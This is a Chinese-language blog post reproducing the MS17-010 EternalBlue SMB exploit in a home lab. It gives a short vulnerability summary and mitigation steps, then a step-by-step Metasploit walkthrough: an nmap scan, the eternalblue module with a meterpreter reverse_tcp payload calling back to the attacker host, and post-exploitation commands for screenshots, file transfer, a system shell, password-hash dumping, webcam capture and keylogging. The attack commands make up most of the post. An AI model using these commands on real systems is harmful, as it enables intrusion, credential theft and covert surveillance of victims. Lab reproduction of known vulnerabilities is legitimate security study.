MS17-010漏洞复现+利用

已于 2024-07-24 11:03:46 修改
阅读量1.2k 收藏 24
点赞数 24
分类专栏： 漏洞复现 文章标签： MS17-010漏洞 永恒之蓝 445 smb
于 2024-07-22 01:51:44 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Nove1205/article/details/140508461
版权

1、 漏洞简述

漏洞名称：“永恒之蓝”漏洞

漏洞编号：MS17-010，CVE-2017-0143/0144/0145/0146/0147/0148

漏洞类型：缓冲区溢出漏洞

漏洞影响：信息泄露

CVSS评分：9.3（High）

利用难度：Medium

基础权限：不需要

2、组件概述

SMB(Server Message Block)是一个协议名，它能被用于Web连接和客户端与服务器之间的信息沟通。其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。

SMB1.0协议由于在文件共享传输过程中存在的传输效率低以及传输空间小等缺陷被人们所摒弃。为了更好的实现网络中文件的共享过程，在SMB1.0的基础上开发了新的网络文件传输协议，并将其命名为SMB2.0。

该协议在实现了文件共享传输的基本功能的基础上对文件传输的效率、文件缓存的空间以及文件并发传输等问题进行改进，使得在局域网或更高配置的网络环境下，文件传输过程的速度和效率等得到了很大的提升。

3、 漏洞影响

Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016

以上系统打开445端口都容易受到影响。

4、解决方案

• 禁用 SMBv1

• 对于客户端操作系统：

  1. 打开“控制面板”，单击“程序”，然后单击“打开或关闭 Windows 功能”。

  2. 在 Windows 功能窗口中，清除SMB1.0/CIFS 文件共享支持复选框，然后单击确定关闭窗口。

  3. 重新启动系统。

• 对于服务器操作系统：

  1. 打开服务器管理器，然后单击管理菜单并选择删除角色和功能。

  2. 在功能窗口中，清除SMB1.0/CIFS 文件共享支持复选框，然后单击确定关闭窗口。

  3. 重新启动系统。

• 更新Windows系统补丁：官方文档链接 

复现环境

攻击机： kali(ip:192168.137.5)

靶机：windows 2007 (ip:192.168.137.239)

一、使用nmap扫描靶机查看目标开放端口
命令为：nmap –T3 –A –v ip
-A 选项用于使用进攻性（Aggressive）方式扫描
-T3 指定扫描过程使用的时序（Timing），总有6个级别(0-5)， 级别越高，速度越快，但也容易被防火墙发现
-v 表示显示冗余（verbosity）信息，在扫描过程中显示扫描的细节，从而让用户了解当前的扫描状态
Nmap常用扫描命令
-sT：TCP connect扫描
-sS：TCP SYN扫描
-sF/-sX/-sN：通过发送一些特殊的标志位以避开设备或软件的检测
-sP：通过发送ICMP echo请求探测主机是否存活，原理同Ping
-sU：探测目标主机开放了哪些UDP端口
-sA：TCP ACK扫描，对防火墙上未屏蔽的端口进行探测
-sV：获取对应端口上更为详细的服务版本信息
-Pn：在扫描之前，不发送ICMP echo请求测试目标是否存活
-O：启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F：快速扫描模式，只扫描在nmap-services中列出的端口

扫描结果如图，可以看到目标开放了445端口，并且是win7的系统 

二、启用msf，命令为: msfconsole

三、搜索漏洞，命令为: search ms17-010

选择模块auxiliary/scanner/smb/smb_ms17_010 (或者直接选中编号：use 3——具体选中哪个编号要根据个人电脑来)

auxiliary模块来验证目标是否存在ms17-010漏洞，设置目标ip，命令：set rhosts 192.168.137.239

开始运行：run

可以看到，检测出目标可能存在ms17-010漏洞

四、重新选择Exploit 漏洞利用模块，发起攻击

search ms17-010

选择模块exploit/windows/smb/ms17_010_eternalblue

设置攻击负载               set payload windows/x64/meterpreter/reverse_tcp
设置受害者ip（win7） set rhost 192.168.137.239
设置攻击者ip（kali）   set lhost 192.168.137.5
run 开始攻击，等待一会儿，发现攻击成功
五、后渗透攻击
1.通过 meterpreter 获取屏幕快照： screenshot

可以看到成功截取win7屏幕

2. 上传文件到win7

upload 本机文件路径 你想放在目标主机的文件路径

这里我上传了一张周杰伦的图片放到win7的c盘

如果要下载文件，命令为 download 目标主机文件路径 你想放的本机文件路径

3.查看当前用户权限

查看权限，
Windows命令为：getuid
Linux命令为：whoami
可以看到目前是system用户，在 Windows中system用户是最高权限 ，比管理员组用户权限更高；在 Linux中root用户权限最高。
4. 知道权限的级别，进入shell
进入Windows命令行（CMD） 命令：shell
发现有乱码输入：chcp 65001    //用于更改当前命令行的代码页为UTF-8，需要注意的是，虽然 chcp 65001 可以解决很多编码问题，但在某些情况下，它可能不是完美的解决方案
输入ipconfig，查看目标主机ip信息
5. 获取用户和密码，命令hashdump
可以看到密码被MD5加密，可以访问下面的网站解密
我这里没有设置密码
6.开启摄像头
开启摄像头
webcam_list -->查看摄像头     
这里我用的是虚拟机win7没检测到摄像头
在win7的虚拟机里选择可移动设备，安装摄像头驱动
再次查看，成功检测到摄像头
webcam_snap -->通过摄像头拍照
这里我就不露脸啦哈哈哈
webcam_stream -->通过摄像头开启视频
这里我就不演示了
7.开启键盘监听
ps  //查看windows系统运行进程
migrate -P pid  //绑定进程的PID
explorer.exe 是Windows的程序管理器或者文件资源管理器，这里我们绑定它的PID，每个人都不一样
keyscan_start  //开始监听
keyscan_dump   //获取监听
可以看到win7的输入内容
keyscan_stop  //停止监听
聪明的小脑袋瓜儿
关注
  • 24
    点赞
  • 踩
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
MS17-010批量漏洞扫描工具
07-18
windows环境下可以批量检测ms17-010漏洞的脆弱性的小工具
MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法
最新发布
记录学习
06-21 2906
msf永恒之蓝漏洞复现过程以及修复建议
ms_17_010漏洞利用
qq_46635165的博客
04-29 968
ms17_010漏洞利用复现 ms17_010漏洞原理 能力有限，请参见大佬的blog:https://blog.csdn.net/luoshenwei3533/article/details/82931999 环境准备 kali 作为攻击方 IP 10.1.1.1 win2003 作为受害方 IP 10.1.1.2 漏洞利用条件 win2003 开启了445端口（默认是开启的）,未打漏洞补丁 win2003 关闭防火墙 二者能够相互ping通 简单的信息收集 1）假设攻击方目前不知道目标主机的端口，
MS17-010复现
m0_50036713的博客
06-04 528
MS17-010复现
渗透测试实战-漏洞利用MS17-010
09-26 467
渗透测试实战-漏洞利用MS17-010
MS17_010 漏洞利用与安全加固
theRavensea
03-18 2031
MS17_010 漏洞后门利用程序 EternalBlue（从目前使用情况来看，相对比较稳定）可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统，无需认证权限就能实现系统入侵控制；插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具，入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程，还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzB
ms17-010（永恒之蓝） 漏洞复现与处理
热门推荐
diaobusi的博客
06-05 1万+
ms17_010 是一种操作系统漏洞，仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统，并执行任意代码。这个漏洞通过 445 文件共享端口进行利用，一旦攻击者成功利用该漏洞，就可以在目标主机上植入各种恶意软件，如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码，将目标系统中的所有文件加密并威胁用户付款。
MS17-010 漏洞利用+修复方法
qq_44484541的博客
04-07 2894
使用时一般配合查看远程用户的空闲时长，空闲时间再进行远程登陆，减小被发现的风险。可以发现，靶机上扫到4个漏洞，其中包括了ms17-010。开始攻击，出现meterpreter >表示运行成功。rhosts显示远程主机未配置，配置目标主机ip。开始扫描漏洞，确认靶机存在ms17-010漏洞。使用扫描模块确认是否存在ms17-010漏洞。6.启用远程桌面，配合上一步获取到的密码登陆。使用ms17-010攻击模块并设置攻击载荷。利用nmap漏洞脚本进行扫描。搜索ms17-010相关模块。nmap端口快速扫描。
MS17-010 漏洞利用
午夜安全
08-23 1180
MS17-010 漏洞利用 1.1 MS17-010说明 1.2 测试过程 1）扫描 使用Nessus扫描主机192.168.223.134，发现以下漏洞： 2）漏洞利用 攻击对象：192.168.223.134，kali：192.168.223.135 （1）进入MSF框架 （2）查询漏洞模块并使用 search ms17_010 use exploit/windows/smb/ms17_010_eternalblue show payloads （3）配置攻击
MS17-010漏洞复现
Al345__的博客
07-01 1380
1、永恒之蓝介绍:永恒之蓝漏洞（MS17-010），它的爆发源于 WannaCry 勒索病毒的诞生，该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的漏洞 “EternalBlue”（永恒之蓝）进行改造而成。勒索病毒的肆虐，俨然是一场全球性互联网灾难，给广大电脑用户造成了巨大损失。据统计，全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
msf之ms17-010永恒之蓝漏洞
AI_SumSky的博客
06-27 6981
**** 1.熟悉msf的基本用法。 2.熟悉一些渗透中会用到基本的windows命令。 3.复现永恒之蓝漏洞。通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出，最终导致任意命令的执行。在Windows操作系统中，SMB服务默认是开启的，监听端口默认为445，因此该漏洞造成的影响极大。**** 1.打开MSF默认已经集成了MS17-010漏洞的测试模块 利用search语法查找ms17-010 2.探测主机是否存在漏洞，利用use命令选择第三个测试接口，可探查主机是否存在永恒之蓝漏洞
ms17-010漏洞利用教程
weixin_30650859的博客
01-24 195
ms17-010 漏洞利用并拿下服务器教程 攻击环境： 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168.150.128 目标主机window7 x64(未装smb 漏洞补丁） ip:192.168.150.131 演示操作 第一步：在攻击机Window20...
Metasploit -- MS17-010(永恒之蓝)漏洞利用
weixin_41489908的博客
05-14 1330
直到后来看到你恋爱的样子，才知道你从来没真正喜欢过我。。。。。 ---- 网易云热评 一、漏洞简介 MS17-010是一个安全类型的补丁，MS17-010更新修复了Microsoft Windows中的漏洞。 如果攻击者向Microsoft服务器消息块1.0(SMB v 1)服务器发送经特殊设计的消息，则其中最严重的漏洞可能允许远程代码执行。 2017年， The Shadow Brokers决定公开一部分有价值的工具， 其中”eternal blue”(永恒之蓝) 就是其中之一(漏洞编号ms .
永恒之蓝（MS17-010）漏洞复现
tubug的博客
05-21 6468
2017 年 4 月 14 日晚，黑客团体 Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日，不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招，被勒索支付高额赎金才能解密恢复文件。.........
Windows MS17-010漏洞利用介绍
Dreamsi_zhang的博客
04-11 4108
利用metasploit开源安全漏洞检测工具实现漏洞检测及利用 1、metasploit介绍 ------Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。 -...
MS17-010漏洞
鱼珊珊
08-29 615
SMB(Server Message Block) 通信协议是微软(Microsoft)和因特尔(Intel)在1987年制定的协议，主要是作为Microsoft网络的通信协议（客户端和服务器交互）。后来Linux移植了SMB,并称为samba. SMB协议是基于TCP-NETBIOS下的，一般端口使用为139,445 SMB协议，计算机可以访问网络资源，下载对应的资源文件。 nmap 扫描...
ms17-010复现
qq_43398810的博客
03-07 1100
ms17-010复现 攻击机kali IP :192.168.70.31 目标机win7 IP:192.168.70.16 打开kali 的msf 输入search ms17-010 查询这个漏洞 选择攻击模块： use exploit/windows/smb/ms17_010_eternalblue 将目标IP 输入进去： set RHOST 目标 set RHOST 192.168...
ms17-010漏洞复现
10-22
ms17-010漏洞是指微软Windows操作系统中的一个漏洞，黑客可以利用该漏洞远程执行代码，控制受感染的计算机。下面是ms17-010漏洞的复现过程： 1. 使用nmap进行探测，发现开启445端口，该端口可能会存在MS17-010漏洞。 2. 使用MSF的永恒之蓝漏洞模块。 3. 使用ms17-010扫描模块，对靶机进行扫描。 4. 使用ms17-010攻击模块，对靶机进行攻击。 5. 得到靶机shell。 6. 通过shell对靶机进行控制。 需要注意的是，复现过程仅供学习和研究使用，请勿用于非法用途。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

聪明的小脑袋瓜儿

苦逼大学生，谢谢打赏！！！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值